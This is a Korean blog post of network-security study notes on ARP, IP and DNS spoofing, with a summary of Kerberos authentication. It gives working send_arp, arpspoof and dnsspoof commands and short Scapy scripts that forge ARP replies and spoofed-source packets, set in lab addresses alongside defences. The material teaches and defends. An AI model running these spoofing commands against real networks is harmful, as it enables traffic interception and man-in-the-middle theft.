보안
네트워크 보안 : 스푸핑(Spoofing)
hjjummy
2025. 4. 21. 19:26
1. 스푸핑(Spoofing)이란?
- **‘속이다’**라는 의미를 가진 용어
- 네트워크 통신에서 다른 장치나 사용자로 가장해 데이터를 가로채거나 위조
- 정보 탈취, 인증 우회, 시스템 마비 등에 사용
- IP, MAC, DNS 등 다양한 계층에서 스푸핑 공격 가능
2. ARP 스푸핑
🔹 기본 개념
- ARP는 MAC 주소를 얻기 위해 사용되는 프로토콜
- 문제: ARP는 신뢰 기반 구조로, 수신한 ARP 메시지의 진위를 확인하지 않음
- 공격자는 거짓된 ARP Reply를 보내 상대의 ARP Cache를 오염시킴
- 이를 ARP Cache Poisoning이라고도 부름
🔹 실습 1: 네트워크 내 장비의 IP 및 MAC 정보 수집
명령어 1: fping으로 네트워크 내 IP 수집
$ fping -a -g 172.17.0.0/24
- -g: 지정된 IP 범위에서 ping을 보냄
- -a: 응답이 있는 호스트만 출력
명령어 2: arp -a로 MAC 정 확인
$ arp -a
- ARP 테이블을 확인하여 IP-MAC 매핑 정보 출력
🔹 실습 2: ARP 스푸핑 공격 수행
- 공격 도구 fake 설치 :fake 도구의 send_arp 기능으로 ARP Reply 위조하여 전송 가능
$ sudo apt install fake
명령어 예시
$ send_arp <스푸핑할 IP주소> <스푸핑할 MAC> <공격대상 IP> <공격대상 MAC>
$ send_arp <흉내낼 IP주소> <공격자의 원래 MAC> <공격대상 IP> <공격대상 MAC>
$ send_arp 172.17.0.1 06:a7:af:45:63:a6 172.17.0.3 5a:cb:ac:10:54:5b
항목 | 설명 |
172.17.0.1 | 스푸핑할 IP 주소 (공격자가 흉내낼 주소) |
06:a7:af:45:63:a6 | 공격자의 MAC 주소 |
172.17.0.3 | 공격 대상 IP |
5a:cb:ac:10:54:5b | 공격 대상의 실제 MAC 주소 |
즉 자기자신은 원래 172.17.0.2 이지만 0.3에게 0.1이라고 속이는 것.
🔹 ARP 스푸핑 패킷 (Reply) 분석 정리
send_arp 192.168.15.203 00:0c:29:67:7e:cc 192.168.15.201 00:0c:29:67:88:9e
->203의 주소가 cc(나: 공격자) 라고 201에게 ARP request 보냄
201은 공격자가 203 서버로 생각하고 ARP reply응답
ARP 패킷 구조 매핑
필드명 | 값 (비트 및 해석) | 설명 |
Hardware Type (HRD) | 0000 0000 0000 0001 | 이더넷(Ethernet)은 1로 고정 |
Protocol Type (PTO) | 0000 1000 0000 0000 | IPv4는 0x0800 (16진수) |
Hardware Length (HLN) | 0000 0110 | MAC 주소 길이: 6바이트 |
Protocol Length (PEN) | 0000 0100 | IP 주소 길이: 4바이트 |
Opcode(OP) | 0000 0000 0000 0010 | ARP Reply (2) |
Sender MAC 주소 (SHA) | 00:0c:29:67:88:9e | 피해자 201의 실제 MAC 주소 |
Sender IP 주소 (SPA) | 192.168.15.201 | 피해자 201의 실제 IP 주소 |
Target MAC 주소 (THA) | 00:0c:29:67:7e:cc | 공격자 MAC 주소 |
Target IP 주소 (TPA) | 192.168.15.203 | 공격자가 자신이라고 속인 IP 주소 |
201이 답장한것이므로 201이 sender이다. 현재 속은 상태이므로 203에게 보내는것으로 생각해서 TPA가 203으로 나온다.
이 패킷(ARP reply)은 "나는 192.168.15.201이고, 내 MAC 주소는 00:0c:29:67:88:9e입니다"
라는 응답을 공격자에게 보내는 상황
🔹 Scapy를 이용한 ARP 스푸핑 코드
from scapy.all import *
sndIP = "192.168.173.2"
sndMAC = "00:0c:29:93:95:59"
tgtIP = "192.168.173.139"
tgtMAC = "00:0c:29:be:37:f5"
ether = Ether(src=sndMAC, dst=tgtMAC)
arp = ARP(psrc=sndIP, hwsrc=sndMAC, pdst=tgtIP, hwdst=tgtMAC)
arp.op = 2
frame = ether / arp
sendp(frame)
op 코드가 2 이므로 reply 인것.
공격자는 중간자(MITM) 위치에 서게 됨
🔹 보안 대책
운영체제명령어
Windows 2012 | arp -s <IP> <MAC> |
Windows 10 | netsh interface ipv4 add neighbors "인터페이스" <IP> <MAC> |
→ 이렇게 등록된 MAC은 ARP 스푸핑으로 덮어쓰기 불가능
→ arp -a 확인 시 static 혹은 Permanent로 표시됨
3. IP 스푸핑
🔹 개념
- 송신자 IP 주소를 속이는 행위
- 시스템 간의 신뢰(Trust) 관계를 이용해 인증을 우회
from scapy.all import *
ip = IP(src="1.2.3.4", dst="inclab.sungshin.ac.kr")
icmp = ICMP()
pkt = ip / icmp
pkt.show()
send(pkt, verbose=0)
🔹 보안 대책
- 트러스트 사용X
- 트러스트 사용해야 할 시 트러스트된 시스템의 MAC주소를 static으로 설정
4. Kerberos 인증 시스템
🔹 개요
- MIT에서 개발한 티켓 기반 인증 프로토콜
- 사용자는 서비스 접근을 위해 티켓을 발급받음
- 인증 서버(AS), 티켓 서버(TGS), 서비스 서버(SS)로 구성
🔹 인증 흐름
- 사용자가 AS에 TGT 요청
- AS가 TGT와 TGS 세션키를 전달 (비밀번호 기반 암호화)
- 클라이언트가 TGT + Authenticator를 TGS에 전달
- TGS가 SS 티켓 + SS 세션키를 클라이언트에 전달
- 클라이언트가 SS 티켓 + Authenticator를 서비스 서버에 전달
- 서버가 타임스탬프 기반 상호 인증
→ SSO(Single Sign On) 가능
🔹 장단점
장점 | 단점 |
패스워드가 네트워크상에 노출 없음 | KDC 장애 시 전체 인증 불가(전체서비스 이용불가) |
SSO 제공:시스템간 자유로운 서비스 인증 | AS, TGS, SS간 비밀키 알아야하므로 동기화 필요 |
기밀성, 무결성 보장( 세션키 기반 대칭키 암호화) | 비밀키, 세션키가 사용자 pc에 저장되어있어 유출 가능 |
- | 타임스탬프로 인한 시간 동기화 프로토콜 필요 |
5. DNS 스푸핑
🔹 개념
- DNS 응답을 위조하여 사용자가 요청한 도메인 주소에 대해 거짓된 IP 주소를 응답하게 만드는 공격
- 예: www.sungshin.ac.kr → www.naver.com으로 바꾸는 공격
🔹 공격 원리
- 사용자가 웹 브라우저에 도메인을 입력 → DNS Query 전송
- 공격자는 정상 DNS 응답보다 먼저, 가짜 응답을 피해자에게 전송
- 피해자는 가짜 응답을 신뢰하고 악성 IP로 연결
🔹 실습 예시
장비 | IP |
라우터(게이트 웨) | 172.17.0.1 |
공격자 | 172.17.0.2 |
웹서버 | 172.17.0.4 |
피해자 | 172.17.0.3 |
arpspoof 실행 :사전 작업으로 ARP 리다이렉션
- 피해자의 트래픽을 공격자가 가로채도록 먼저 설정
$ sudo arpspoof -i eth0 -t 172.17.0.3 172.17.0.1
- 게이트웨이와 피해자 사이에 공격자 자신을 끼워 넣음
- 이렇게 해야 DNS Query 패킷이 공격자의 기기를 반드시 지나가게 됨
dnsspoof 실행
$ sudo dnsspoof -i eth0 -f hosts.txt
hosts.txt 파일 내용 예시
*.daum.net 172.17.0.4
*.google.co.kr 192.168.4.129
🔹 보안 대책
- hosts 파일에 중요한 사이트 직접 등록
- PTR/A 레코드 이중 검증
- PTR 레코드: IP → 도메인
- A 레코드: 도메인 → IP
→ 이 둘이 서로 정합성 있게 설정되어야 함
전체 요약 정리표
공격 기법 | 설명 | 실습 도구 | 방어 방법 |
ARP 스푸핑 | MAC 주소 위조 | fake, send_arp, Scapy | Static MAC 등록 |
IP 스푸핑 | IP 주소 위조 | Scapy | 트러스트 제거 |
Kerberos | 인증 우회 방지 | 내부 프로토콜 | 시간 동기화, 키 보호 |
DNS 스푸핑 | DNS 응답 위조 | dnsspoof | hosts 파일 보호, PTR 확인 |